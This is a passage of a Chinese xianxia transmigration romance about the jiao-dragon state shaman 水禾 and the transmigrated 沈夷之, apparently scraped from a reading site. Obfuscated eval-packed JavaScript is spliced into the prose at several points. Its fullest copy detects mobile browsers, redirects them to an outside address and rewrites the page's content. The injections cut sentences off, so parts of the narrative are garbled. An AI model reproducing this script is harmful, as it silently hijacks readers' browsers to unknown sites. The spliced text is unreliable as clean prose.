一时之间,水禾忽而觉得自己有些可笑,永巍要水禾顶着国巫的身份以人族自居,甚至让宋暮在众臣面前陪她演戏,可谁人都知晓永巍和宋暮属于梅山宗,而梅山宗属于容国。 原本一目了然的立场开始变得难以分辨,水禾倏地感到有些无措。 波澜不惊的面容开始皲裂,水禾的眼角开始不受控制地微微抽动,她握紧拳头,一个闪身直冲宋暮而去。 而水禾方才待过的原地,徒留一个大坑,厚厚的积雪从地上扬起,洋洋洒洒地落在沈夷之的头顶,待视线不再受到影响,沈夷之看到了雪花纷飞中水禾半妖化的样子。 她的脸上爬满繁丽的鳞片,头顶白玉一般晶莹透亮的蛟角比之沈夷之初见时的样子还要更加庞大夸张,雪青色的粗壮尾巴毫无预兆地从她的裙 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而宋暮更是一头雾水,他在梅山宗长大,接触最多的就是人族,他记得权贵氏族的小姐们都善解人意,知书达礼,只要好言相劝就能哄好。可他从不曾哄过妖兽族的姑娘,不知道原来一个小小的月台竟然会惹她发这么大的火。 见水禾红着一双眼几乎失去了理智,宋暮忙将水禾推开,一面不动声色地用灵力将水禾包裹住。 “月台一定给你恢复原样,另外我再赔给你一套国巫府邸!” 水禾什么也听不进去,她满心都是永巍和宋暮合起伙来戏耍她,这简直是她蛟生的奇耻大辱,次仇不报枉为蛟。 水禾一拳冲破宋暮的灵力,步步向他逼近。 眼前倏地闪过一抹扎眼的黑色,水禾的眼神恍惚了一下,目光聚焦在沈夷之身上。 沈夷之背对着水禾,身姿挺拔如梅骨,他拦在水禾面前,宛如一个救世主。 妄想以凡人之躯为宋暮这个妖兽挡住她的攻击,真是异想天开,水禾面无表情地嗤笑一声,正要一掌拍开挡住她去路的沈夷之,却不料他竟猛然间转过身来面对着水禾。 水禾伸了一半的手在沈夷之灼灼的视线下又缩了回去。 沈夷之一把握住水禾瘦削的肩膀,不住地摇晃,“国巫大人,你白捡一套房啊!” “啊?” 水禾微微偏头,试图理解沈夷之令人费解的行为。 “你不是一直觉得住在梅山宗受制于人吗,有了这个国务府,以后你还不是想做什么就做什么了!”沈夷之的激动溢于言表,比自己得了个府邸还要高兴万分。 水禾不明白沈夷之在傻乐个什么劲儿,但经他这么一打断,水禾一下忘了自己究竟是因为什么原因才如此气愤,转头看到面前做防御状的宋暮,水禾一下失了打架的兴致。 水禾讪讪地望着宋暮,心中虽仍旧气愤他和永巍的做法,但却不像方才那般冲动不顾后果了。 9. 第 9 章 见水禾冷静下来,宋暮挥手撤去了周身用以防御的灵力屏障,他对拦在水禾身前的沈夷之微微笑了一下,眼中骤然升起一丝惊诧。 “妖兽?” 沈夷之摇头否认,这不是他第一次被旁人这么询问了。 犹记得上次被怀疑是妖兽时是在与水禾初见的那个雪夜里,他老实回答自己是穿书而来,却被水禾当成了智障对待。 这次他不会再傻乎乎地把穿书而来的事实再同任何人讲起了,他确实只是一介普通人,并非是像水禾和宋暮那样拥有强健体魄和通天灵力的妖兽。 “不是便好。” 宋暮轻笑起来,笑得绝世无双,却笑得不怀好意,他默默收掉手中凝起的磅礴灵力,施施然对沈夷之点了点头。 若是梅山宗真正出现了未曾记载在册的妖兽,只怕这皑皑白雪都要尽数被血染红。 沈夷之虽否认自己是妖兽,但他身上气息紊乱,显然不属于人族,若是他身上也有着同水禾的紫玉镯一样能禁锢灵力的物什,那便能解释清楚了。 以免打草惊蛇,宋暮并未继续纠缠,转头向水禾解释,轻松的样子像是在话家常一般。 “今日国巫大人没来上朝,梅山宗的人也未曾向我禀报,我担心国巫大人出了岔子,心急如焚才追到了这里。” 但也由于太过着急,宋暮没能掌握好下落的力度,硬生生将水禾的月台震了个粉碎。 水禾扁扁嘴,宋暮也好,沈夷之也罢,她不明白这些人为什么总是抓不到她生气的重点,而她和司岳待在一起时,即便是不开口,司岳也能与她心意相通。 莫非真的是因为她常常面无表情才导致自己的心思太过难猜? 水禾低下头,努力扯出一个比哭还要难看的笑。 “我气的不是你不请自来,还砸坏了我的亭子。” 宋暮一怔,听水禾的语气虽不气恼,却颇有埋怨他的意味。 水禾坦言:“我气得是,你与永巍同谋,对我知根知底,而我对你们一无所知,却要被迫成为你们手中的棋子。” 宋暮沉默了一会儿,他没想到水禾会这么直白地说出她的顾虑。 “国巫大人所言极是,是我考虑不周,我早该对国巫大人坦白身份。”宋暮弓身致歉。 “但若说起棋子,宋某愧不敢当,我不过是梅山宗五长老中最名不经传的一个,永巍舅舅也未曾交代给我过什么阴谋阳谋。” 宋暮目光淡然,眼中映着水禾身后白雪皑皑的山和潺潺流淌的水,平静得掀不起一丝波澜。 “随你们便吧。” 反正水禾一刻都不想待在这容国都城内了,待司岳交给她的任务达成,她便辞了这破官回清清山去。 水禾面无表情地掸了掸身上的飞雪,忽而察觉到什么似的,万年不变的面瘫脸一下变得惨白。 沈夷之一惊,忙凑上前。 “不好,我的尾巴要变回去了。” 水禾的声音低不可闻,但还是飘飘忽忽地落入了沈夷之耳中。 他瞥了一眼水禾身后,水色的官服被粗壮的尾巴撑开了一个大洞,破碎的布条垂在雪青色的尾巴上,随风飘动。 沈夷之会意,忙脱下自己的外衫搭在水禾身上,长而宽大的男子外衫将水禾遮了个严严实实。 水禾投来感激的目光,下一瞬间,雪青色的尾巴化作星星点点的荧光,一忽儿在风雪中消散了。 沈夷之揽住水禾的肩膀,带着她转头就跑。 徒留宋暮一人呆滞地站在原地,耳畔久久回荡着沈夷之的呼喊:“别忘了五长老欠我们一个国巫府!” 我们? 宋暮凝望着水禾和沈夷之渐渐远去的背影,望着沈夷之搭在水禾肩膀上的手,看起来是如此亲昵。 他有必要去回禀永巍,计划之内似乎出现了意外的变故。 梅山别院。 水禾默默望着扶着门气喘吁吁的沈夷之,他们方才跑得极快,雪天路滑,沈夷之一个不留神就摔了个四脚朝天。 他不住地朝水禾嚷嚷着:“国巫大人,我的腰要断了。” 水禾一言不发,只是沉默地望着他,她两只手拽着肩膀上宽大的男子外衫,寒风拂来,外衫上便有淡淡的清香味道侵入水禾的鼻腔,水禾并不讨厌这种令人安心的味道。 沈夷之哀怨地看过来,兀自嘟哝了一句:“好狠心的国巫大人啊。” 水禾无可奈何,只好拢紧身上的外衫进屋。 再出来时,水禾已然换下了带有破洞的官服,穿上了一身湖蓝色的绣花裙衫,衬得她冷白的肌肤似乎泛着莹莹光泽,外面套着件白兔毛的小夹袄,将她瘦削的肩膀包裹得严严实实。 她手里拿着个不起眼的白瓷瓶,款步走到沈夷之身边。 “喏,这是清清山的白虎叔给我的跌打损伤药,白虎叔好斗,整日里身上没一块好地方,他给的跌打损伤药最管用。” 话音未落,水禾将白瓷瓶高高掷起,沈夷之接了个准,今日难得水禾同他说了这么多话,沈夷之心中欢喜,扬起脸在寒风里傻呵呵地笑起来,笑得满园枯枝春意融融。 往后的日子水禾照旧踩着星月赶赴早朝,朝堂无聊至极,谈论的也都是水禾分内之外的世俗政务,她听不懂那些大臣们唇枪舌剑,激烈交锋,大臣们也无意将她这个外来者牵扯进容国的朝政。 偶尔倒霉的时候,碰上三两个大臣将水禾所做的琐事添油加醋奏她一本,但所幸朝堂之上还有梅山宗的五长老宋暮,同为妖兽,他每每都会为水禾解围。 水禾感慨,这大约就是同族相惜吧。 随之时间推移,水禾渐渐觉得容国的生活并没有她想象中的那般难以忍受,日出而作日入而息的生活似乎也不错。 印象中司岳那些她无法理解的行为,水禾也都在容国里一一找到了答案。 今日天气阴郁昏沉,下朝的时间难得比平日早了些,水禾辞别了与她交好的大臣们和宋暮,拔腿快步走向城门。 王宫外的风景在小小的城门中绚烂夺目,水禾正要走入那冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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水禾沉默了一会儿,在脑子里想好了搪塞郡桃的说辞,正要开口,却又被郡桃一句话给堵了回去。 “上次在梅山宗时我就想问你了,你是个未出阁的姑娘,怎么能让有婚约的男子私自出入你的闺房。” 水禾一怔,她倒是没想过这个问题。 若是真的说起来,梅山宗的别院也并非是水禾的闺房,水禾偏头想了想,她真正的“闺房”大约是清清山的一处山洞,已经许久未…… 等等,水禾无奈抚额,貌似郡桃说话的重点并不在于闺房吧,她竟不知何时变得和沈夷之那个怪人一样了,满脑子奇怪的想法,也抓不住旁人说话的重点了。 或许正如郡桃所说的那般,她应当与沈夷之划清界限才是。 水禾点头回应:“公主说得是。” 方才还冷着一张脸的郡桃见水禾低眉顺眼的样子,忽然没由来地感到有些烦躁,她从秋千上跳下来,吓得那个领路的宫娥惊声叫起来。 郡桃却满不在意地摆摆手,叫她退下。 屏退了宫人,偌大的寝宫内只剩水禾和郡桃两人,身娇体贵的公主施施然走到水禾身边,柔和了脸色,放缓了声音,她道:“现下无人,你叫我郡桃就好。” “臣不敢。” “国巫大人都敢欺瞒我身份了,还有什么是大人不敢的。” 水禾闻声抬头看向郡桃,眼里满是不可置信。 10. 第 10 章 水禾下意识地往后退了一步。 郡桃久居深宫,不该知晓她妖兽的真实身份才是。 “公主,臣……” “不逗你了,晚辞哥哥说你经不得逗,果然如他所说的一样。”郡桃轻快的笑声在郡桃耳边荡开,又重新坐回了随风轻晃的秋千上。 水禾舒了一口气,抬眸紧盯着郡桃的脸色。 “公主……” “说了叫我郡桃便好。” 水禾吞咽了一下,再次抬头望向郡桃:“不知郡桃口中的重晚是谁?” 郡桃微微笑起来,一双眼睛里仿佛含着融融春色,“宋暮哥哥没跟你说过他的表字?” 原来是宋暮那厮。 水禾的目光忽然定住,为何身为妖兽的宋暮会与深宫中的公主有交际,她似乎有些搞不懂容国复杂的人际关系了。 但目前值得庆幸的是,郡桃是个涉世不深的孩子,她的皇帝哥哥将她保护得极好,并未让她亲眼目睹过深宫中无形且无声的杀戮,因此郡桃只是嚣张跋扈了些,心思却比清清山的泉水还要纯洁干净。 水禾不知宋暮与郡桃的交情深厚到了哪一步,便开口问她:“宋暮还同公主说起过有关我什么事?” 郡桃的双脚在秋千上轻轻晃荡起来,裙摆沾上了地上的枯枝残叶,她笑眯眯地望着水禾,轻哼道:“晚辞哥哥还同我说过你不苟言笑的原因。” “什么?”水禾疑惑不解。 “他说你性子不冷,只不过是个面瘫脸。” 水禾无语凝噎。 起初她还以为众人皆知自己是个面瘫这件事是沈夷之的过错,却不曾想这其中还有宋暮的一份功劳。 见水禾沉默不语,郡桃满不在乎地摆摆手,肥大的阔袖滑落下来,露出了半截雪白的小臂,她宽慰水禾:“面瘫没什么不好的,没人能从表情上瞧出你的心思,多好啊。” 水禾一滞,竟真的思索起面瘫的好处和坏处来。 老实说,在未曾离开过清清山时,水禾一直都没有察觉到她是个面瘫的事实,清清山的妖兽朋友们形状各异,没有妖兽会做出与人类似的面目表情。 司岳虽常年化着人形,可他性子冷淡,常年板着一张脸,水禾也未曾在他脸上看到过别样的表情。 那时在清清山无忧无虑,水禾并不会去思考关于自己面瘫的问题,因为哪怕她没有任何表情,清清山的妖兽朋友们还是一如往日地待她和善。 一切发生转变似乎是在来到容国之后,水禾不得已以人族自居。有人见她不苟言笑,惧怕她、奉承她;有人见她面无表情,轻视她,贬低她。 但不管怎样,她都是水禾,不会因为阿谀奉承而飘飘然,也不会因为冷眼相待就自卑自弃。 水禾扯起嘴角,因无法掌控面部的肌肉,看起来有些异样的不自然,她抬头望向郡桃,不卑不亢。 “是啊,面瘫也没什么不好。” 郡桃也轻笑起来,她从未遇到过像水禾这般有意思的女子,看来与她交友是个不错的决定。 面对骄纵却可爱的小公主,水禾渐渐放下了警惕,她紧绷的神经放松下来,开始尝试着像在清清山与白蛟姐姐闲聊时那样与郡桃交谈。 一见到郡桃,水禾不由自主便会想起,那个已然把梅山宗当做自己家的沈夷之。 “你和沈氏的婚事怎么样了?” 郡桃闻言,方才还明媚如春的笑脸骤然变得愁容满面,她气鼓鼓地踢了一脚地上的枯草,恨恨道:“自那次我私闯梅山宗后,皇帝哥哥找过我,他说我必须嫁给那个沈氏不可。” “就没有一点回旋的余地?”水禾感到诧异,她以为容国的君王那么宠爱他的小妹,必然也会答应她所有无理的要求。 郡桃苦着脸轻轻摇头,发髻上环佩叮当。 “我不喜欢那个沈氏,想必他也不喜欢我,相见两厌的人又如何能在一起。” 水禾觉得喜欢这件事倒没有郡桃口中所说的那么难,照她的想法,毫无关系的两个人只要能互相成为朋友,喜欢这种感情就会如约而至。 她理所当然地开口:“喜欢一个人很简单的,就像我和你,在此之前我从没想过能和你坐着闲聊,但今天我已经慢慢喜欢上你了。” 郡桃一惊,眼神中透着难以置信,她以为水禾在拿她取笑,脸上蓦地泛起绯红的火烧云,一直蔓延到耳根才罢休。 “我说的不是这种喜欢。”郡桃的声音低不可闻。 习惯了郡桃叽叽喳喳像只麻雀一般昂扬的语调,忽然没由来地听到她像现在这般低声细语,水禾抿了抿唇,耐心听郡桃解释什么是真正的喜欢。 “我说的喜欢是想和一个人共度此生的喜欢。” 水禾想当然地点点头,“我很想和清清山的朋友们共度此生。” “那你见不到清清山的朋友会抓心挠肝地想他们吗?见到他们时心脏会不受控制地剧烈跳动,就像是快要跳出胸腔胸腔一样吗?你见到他们时会羞赧脸红吗?” 郡桃一口气说完,氧气告急,便贪婪地大口呼吸起来,冬季的空气干冷,骤然钻进口腔里便好似有刀片划在喉咙上,郡桃不出所料地猛咳起来。 水禾忙凑上前轻轻拍打她的背部,所幸郡桃只咳了一阵便缓过劲儿来。 郡桃不死心,昂头追问水禾到底听懂她所说的没有。 水禾似懂非懂地点点头,而后又觉得自己并未真正理解喜欢的真正含义,便又迟疑地摇了摇头,惹来郡桃一声轻叹。 “你怎么开窍比我还晚。”郡桃恨铁不成钢,她还记得母妃像水禾这般年岁时,肚子里早就有了她。 对于郡桃的评价,水禾不敢苟同,司岳不止一次同她说过开窍晚并非坏事,当时她是族内破壳最晚的一尾小蛟龙,如今还不是成为了清清山众望所归的一国之巫。 想到这里,水禾骄傲地昂起头,却不料因早朝起得早肚子里未进半粒米,干瘪的肚子在此时发出不满的叫嚣声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郡桃身旁另一侧则站着一个手脚麻利的小宫娥,她熟练地在郡桃面前的小碗中放入几勺花生碎和看起来红彤彤的特制酱料,而后轻轻绊开,又加入一勺暖锅汤底。 浓厚的香气即刻在宫中散开,久久萦绕在水禾的鼻尖。 这是水禾平生第一次吃到这么好吃的暖锅。 水禾吃得忘乎所以,只记得夹肉,烫肉,蘸酱,吃肉这四个动作,如此反复。 郡桃看水禾吃得开心,嘴角也微微扬起,她想,若是能有一知己,能有一真爱,能一直待在宫里受皇帝哥哥庇护便好了。 原先最美好的愿望如今都变成了奢望,一想到即将要嫁给那个素不相识的沈夷之,郡桃一肚子的火就无处安放,她吃了个半饱,愤愤地将筷子拍在桌面上。 “啪”地一声,惊得宫娥跪倒了一片,吓得水禾吃肉的动作都慢了半拍。 水禾嘴里塞满了肉,含糊不清地问郡桃:“肿么了?” “我在想,若是有什么法子能不用嫁给沈夷之便好了。” 11. 第 11 章 水禾大快朵颐的动作顿住,暖锅蒸腾,将她粉腮微晕的面容掩在虚无缥缈的白雾之中。 “若是你或沈夷之都喜欢上了旁人,那婚约是否能解除?”水禾面无表情地眨眨眼,看起来像是一只极其无辜的小鹿。 郡桃一愣,不动声色地攥紧了藏在阔袖之中的双手,她定定地望着水禾,迟疑地开口:“国巫大人能否帮帮我?” 水禾不解,一国公主和王公贵族的婚约岂是她一个小小国巫能插手阻拦的。 但她还是放下了手中的筷子,静静地听郡桃说。 郡桃摆摆手屏退了身侧伺候的宫娥,她与水禾相对而坐,隔着朦胧的雾气,说起不着边际的话。 “国巫大人待字闺中,那沈氏纨绔却没日没夜地伴在姐姐身侧,若是姐姐与他传出了什么,那沈氏便不得不娶姐姐,姐姐身为一国之巫,名分又岂能居于我之下。” 郡桃说到最后,一字一顿,水禾看她凝着一张脸,半点不像是开玩笑的样子。 殿内暖和极了,让人忘却了外面风刀霜剑的寒冷,水禾被暖气热得有些头昏脑涨,隔着白雾,郡桃的脸有些看不真切。 她的语气带着诱惑和指引,催促着意识朦胧的水禾点头答应。 水禾不禁怀疑,她们二人中,怎么却是身为人族的郡桃更像是惑人心神的妖兽。 水禾晃了晃脑袋,强迫自己清醒过来,她猛地一拍桌案,暖锅内的汤底震出层层波纹,阔袖滑落,露出她腕上的那只紫玉镯。 在郡桃难以察觉的角度,紫玉镯发出淡淡的光芒,远远地望去,便像是被蒸腾的白色雾气所包裹。 “公主,臣是容国的国巫,不应沾惹儿女私情。” 水禾不谙世事,现在才反应过来郡桃的真正意图。 在清清山时,妖兽们所说的喜欢就是喜欢,不喜欢就是不喜欢,没人会费尽周折拐弯抹角,也没人会处心积虑想拿别人挡刀。 来到梅山宗后,永巍教给水禾要对人族有所防范,那时她还疑惑不解,而今想来,正是永巍身为上任国巫对同族后辈的忠告。 郡桃似乎也知晓自己的要求太过无理,所以当水禾拒绝时,她只是黯淡了眸色,并未流露出像对沈夷之那般恼羞成怒的情绪。 水禾站起身,恭敬地向郡桃行拜别礼。 “水禾无福与公主成为知己好友,臣告辞。” 行完礼,水禾转身离开,外头又下起柳絮一般的飞雪,水禾缩了缩脖颈,毅然决然走进了这场似乎永远也下不尽的风雪之中。 梅山宗外,少年独自倚着墙,目光急切地在无垠的旷野中搜寻熟悉的身影。 “翩翩,追女孩真的需要摆这么装逼的姿势吗?” 怕被梅山宗弟子看到,沈夷一大早便来到门外等候下朝的水禾,可等了许久,眼看过了晌午饭的时辰,却也没能等来水禾的身影。 沈翩翩坑哥不倦,告诉沈夷之水禾她就喜欢酷帅腹黑这款,沈夷之才老老实实地在这漫天风雪里靠墙站了许久。 沈翩翩:【哥,你就把心放到肚子里吧,水禾的白月光就是她那冰山脸师父,听我的准没错。】 沈夷之冻得打起牙颤,但见自家阅文无数的妹妹斩钉截铁地这么说了,他只好照做。 沈夷之饥寒交迫,却仍旧固执地摆着耍帅的动作,约莫又等了半刻钟的时间,隐约听到枯木林中传来马蹄踏雪的声音。 沈翩翩提醒他:【快!把礼物都准备好。】 沈夷之会意,小心翼翼地拍了拍怀中专门为水禾准备的礼物。 灰扑扑的车撵自远方而来,最后在梅山宗门外停下,小太监斜睨了沈夷之一眼便将头转了回去,声音尖细道:“国巫大人,梅山宗到了。” 水禾闷不吭声,掀开门帘一跃而下。 她面上没什么表情,沈夷之却察觉到国巫大人今日的心情似乎不太美妙,像是笼了一层似有若无的阴云,随时都带来狂风骤雨。 沈夷之强忍住双腿的颤抖,一步跨到水禾面前。 “国巫大人,我有东西要送你。” 少年的目光羞涩又明朗,他像献宝似的,慎之又慎地从怀中掏出两个小物件,左右手一边举着一个。 水禾的视线在他左右手之间流转。 沈夷之的右手握着一只杜鹃鸟模样的金钗,鸟喙上衔着一颗圆润的玉珠,一眼便知价值不菲,而他却左手攥着一只毛茸茸的文须雀,看上去像是一颗五彩缤纷的糯米团子。 水禾伸出一只手指朝向自己,她问沈夷之:“这些都是给我的。” “都是给国巫大人的。” “谢谢,那我就不客气了。” 话音刚落,水禾上身微微前倾,一口吞下了那只毛茸茸的文须雀。 沈夷之目瞪口呆。 沈翩翩风中凌乱。 倒是水禾察觉到忽而变得有些凝重的气氛,抬头疑惑地看向沈夷之,她嘴里含着文须雀,说话含糊不清,“难道……不是送给我吃的嘛?” 沈夷之一下转过身干呕起来。 水禾感到不解,从前在清清山时,妖兽们都是把鸟雀鱼虾当做饭后零食,若是有别的妖兽将零食相送,不吃便就是对它的不尊重。 水禾尊重沈夷之,所以当面吃了他送的鸟雀,这在水禾看来并无任何不妥。 但很快水禾就反应过来,沈夷之并非清清山的妖兽,而她如今的身份也只是一个再普通不过的人族。 人族是不吃这些的。 水禾张开嘴巴,把那只文须雀完好无损的拿了出来,所幸她才在郡桃那处吃了暖锅并不是很饿,这才没着急把文须雀咽到肚子里。 沈夷之扶着墙正大吐特吐,但他早上并未用膳便一直等水禾到了现在,就算是呕吐也只能吐出些酸水出来。 “喂,别呕了,我没吃。”水禾拍了拍沈夷之的肩膀。 沈夷之一怔,表情痛苦地转过身来,却见水禾手心里正捧着那只圆滚滚的小文须雀,小文须雀身上沾了些许水禾的口水,或许是出于对妖兽的恐惧,小雀吓得动弹不得。 “你怎么能生吃鸟啊!”沈夷之脸色惨白,显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而沈夷之方才待过的雪地里,在日光的折射下发出金色的耀眼光芒,一下晃了水禾的眼,她疑惑上前,却看到那只杜鹃金簪半截身子都被掩进了雪里。 水禾抿唇,一言不发地将金簪收入了怀中。 容国的冬天很冷,接连下了好几场雪,梅山宗的梅花竞相绽放。都说梅花报春,意寓着祥和与喜悦,草木最有灵性,且能揣测人的心意。 回国巫别院的沿途都开满了梅花,清幽的香气沁人心脾,水禾却完全没有观赏的心思。 在清清山时,妖兽们对花花草草只有能不能吃的概念。 水禾低头行着崎岖的山路,心中思绪万千,方才她重伤了沈夷之,也不知明早还能不能吃上沈夷之亲手做的饭菜了。 推开门,别院里空无一人,宋暮砸坏的月台早已经修缮如初,他许给水禾的国巫府也已经兑现,但国巫府新址乃是在容国国都最繁华的闹市区内,水禾喜静,便一直借口推脱着没有搬去。 12. 第 12 章 沈夷之无故又挨了水禾一掌,气急败坏地回到国巫别院,一脚踹开大门就要卷铺盖走人。 系统劝他:【不能走啊哥,你要是就这么走了,那你这些天攻略水禾提升的好感度可都要清零了!】 沈夷之收拾包裹的手蓦地顿住,他缓缓抬起头,迟疑地问沈月之:“我努力了这么久,水禾对我的好感度提升了多少?” 【我查查,后台接收到的信息是……角色水禾对你好感度上升了0.1……】 “老子不干了!” 沈夷之愤愤地把刚整理好的包裹用力砸向地面,开口正要细数他这些时日所受的委屈,门声骤响,推门而入的水禾面前蓦地闪过一道扎眼的白光。 水禾揉了揉眼睛,却看到沈夷之低眉垂目地站在她的面前,怀中还抱着个体积惊人的包裹。 沈夷之扁着嘴,乖顺的样子好像一只忠诚无害的大狗。 这种毫无下限的行为立即遭到了来自亲妹的鄙夷:【哥,你这样子真是不值钱啊。】 “闭嘴,你懂什么。” 沈夷之大声反驳系统,却疏忽了系统的声音只存在于他一人脑内,水禾听不到系统沈月之的声音,却能够听到沈夷之大声斥责的话语。 水禾的脸上虽看不出任何的表情变化,但周身的气场却骤然间变得凌厉且具有攻击性。 刚挨了水禾一掌的沈夷之不禁瑟瑟发抖。 然而出乎沈夷之的意料,水禾只是面无表情地款步走进庭院,与沈夷之擦肩而过时,轻飘飘道:“明日我便搬往国巫府,这别院你自己随意住吧。” 骤然掀起一阵寒风,带起水禾水色的裙衫翩然飞舞,衣角拂在沈夷之的冻得泛着青白色的手背,他一怔,怀里的包袱应声滚落。 沈夷之目光呆滞地望着水禾的背影渐行渐远,竟没由来地觉得,此刻的自己仿佛一个被抛弃的小孩。 “她这是受什么刺激了?”沈夷之低头看了一眼地上沾了污雪的包袱,心里的疑惑油然而生。 【我又没有上帝视角。】 沈夷之一脚把包袱踢远,不满地嘟囔着:“要你这系统有什么用。” 沈翩翩正要展开架势与沈夷之争论,刚清了清嗓子,还未张嘴,沈夷之那方却毫无征兆地掐断了与系统之间的联系,一如他每次逃避沈翩翩唠叨时那样。 长久的寂寥过后,徒留沈翩翩一人面对着空白的文档拧眉。 “敢这么对我,好啊,你给我等着!” 沈翩翩点击了一下鼠标,愤愤开始打字,随着空白的文档逐渐被宋体五号字填满,《化龙》中那个名为沈夷之的炮灰男配的命运也发生了微妙的变化。 翌日清晨,天还蒙蒙亮的时候就听到国巫别院外人声鼎沸,沈夷之睡眼惺忪,意识朦胧,隐约感觉到有谁从他身上踩过,紧接着他的肋骨就传来了撕心裂肺的剧痛。 原先沈夷之还以为这只是普通的梦境,可肋骨处传来痛觉实在太过真实,以至于沈夷之误以为是水禾趁他睡觉时恶意报复。 沈夷之一声痛呼,猛地睁开双眼,却正巧望见一双软底男鞋从他的小指上踏过。 “我问你,没看到有人睡在这里吗!?” 沈夷之倏地从地铺上站起,涨红了一张脸,与那无意中踩了他小指的梅山弟子四目相对。 弟子目光茫然,显然并未发觉自己方才做了什么。 沈夷之往他怀里留意,见他正抱着一个让人无法忽视的木箱,木箱子通体呈暗红色,从花纹判断,约莫是昂贵的小叶紫檀木,木箱的锁头是精致的蛟龙形状,想必是找来能工巧匠精雕细琢。 这木箱看起来异常精美,木箱内盛放的物品必然也是价值不菲,沈夷之看到那蛟龙锁头,战战兢兢地往后退了两步。 按理说,梅山宗弟子大多不待见妖兽身份的国巫水禾,平日里这国巫别院只有沈夷之一个人整理洒扫,从未见到过有梅山宗弟子的身影。 今日倒是稀奇,不仅房内来来往往都是梅山宗弟子,他们脸上的表情也都难得毕恭毕敬。 沈夷之知道那弟子大约是被怀里的木箱遮挡了视线,并非是有意从他的地铺上踩过,微微颔首,便放他离去了。 沈夷之匆匆穿上棉外衫,和那梅山宗弟子一道往院外走去,才一踏出门槛,轻絮一般的飞雪迎面扑来,细雪钻进沈夷之的脖颈,使他猝不及防打了个冷颤。 阴霾的天空一如既往,使一切看起来都灰蒙蒙的,唯有一抹惹眼的红伫立在庭院内,格外醒目。 沈夷之拢了拢棉外衫,往前走了两步。 “五长老,大清早这是做什么?” 宋暮闻声看过来,眉目笼在竹编的斗笠之中,使人看不清他眸里的情绪。 “国巫大人乔迁新府,宋某特来帮忙。”宋暮声音里带着笑,双手抱拳行了个常礼。 沈夷之一愣,学着宋暮的样子向他回了个礼,而后又抬起头疑惑地看向他,“国巫大人乔迁?” 他偏头想了想,还不待宋暮回答,沈夷之便倏地想起来,昨日水禾确实同他说起过类似的话。 水禾要搬往国巫府,而这梅山宗的国巫别院自此便留给他一个人随意住。 他还以为昨日水禾说的只是气话。 看到如今的场面,沈夷之惊觉水禾是动了真格,他什么也顾不得了,连忙从台阶一跃而下跳到宋暮面前。 “五长老,你告诉我国巫府新址在哪?” 宋暮微微笑起来,在沈夷之看来却显得有些不怀好意。 “在沈府对面。” 犹如晴天霹雳。 沈夷之拢着外衫的手蓦地一抖,月白色的长衫从肩膀上滑落,骤然间被地上的污雪濡湿。 再抬头看向宋暮笑得如清风霁月,沈夷之心中顿时窜上一股无名火。 “你小子故意的吧!” 宋暮仍旧摆出一副无害的笑脸,他抬手取下头顶的斗笠,与沈夷之平视,映在沈夷之眼中的一双眉目也是带笑的样子。 “我与蜀南沈氏并不相熟,只是为国巫大人用心择了一处良址,并非是想与沈公子作对。” 沈夷之听他所说的话,只觉得经外奇穴不受控制地开始突突乱跳,他按下躁动的神经,转头进了屋。 他要去求水禾别走。 将别院翻了个底朝天,却怎么也没寻到那条蛟龙的身影,沈夷之知道水禾是故意躲他,若不是水禾自己主动现身,只怕沈夷之这辈子都找不到她。 寻人无果,沈夷之便好似泄了气一般,院内搬东西的梅山宗弟子都已经离去,整个院子空落落的,即便是沈夷之一个大活人坐在门槛上也难免显得死气沉沉。 连绵下了几日的雪终于停下,天边隐约透出一抹金色的日光。 沈夷之坐在门槛上发呆了许久,手中反复地团出雪球又捏碎,而后百无聊赖地打开了与系统之间的联系。 “喂,你说水禾为什么突然要躲我?” 沈夷之说罢愤愤地将手里的雪球扔了出去,雪球与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924989|160451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰面相撞,发出一声闷响后在冰面上炸开,宛如一场白色的焰火。 【大概是觉得哥你太烦人了吧。】 沈夷之拧眉,攥起拳头在自己眼前威胁似地晃了两下,“再给你一次说话的机会。” 系统沈翩翩无语凝噎,她翻了记白眼,用沈夷之听不到的音量小声嘀咕道:【实话实说而已。】 沈夷之确实没有听到沈翩翩的碎碎念,他苦恼地紧锁起眉头,思考该如何让自己的苟命任务顺利地进行下去。 若是能潜藏进新的国巫府,不被沈家发现便好了。 沈夷之苦思冥想,却也不知究竟该如何绕开这个蜀南沈氏陪伴在水禾身侧。 其实在得知沈氏的家世背景后,沈夷之倒也有过片刻的激动,如果他成为蜀南沈氏未来的家主,便能够坐拥无数财富,走上他现实世界里望尘莫及的巅峰。 但沈夷之向来是个有自知之明的人,他自知能力有限,况且一个四肢发达头脑简单的男大如何能担得起一个权贵氏族的兴亡。 自从接下自己的苟命任务后,沈夷之便秉持着只自救的原则,绝不影响小说里其他人物角色原本的命运走向。 可若是跟随水禾一同回了容国国都,沈氏的眼线必然会发现他的踪迹,到时沈夷之便不得不回到沈氏去背负自己的使命。 身为沈夷之的亲妹,沈翩翩自然知道她哥哥的顾虑。 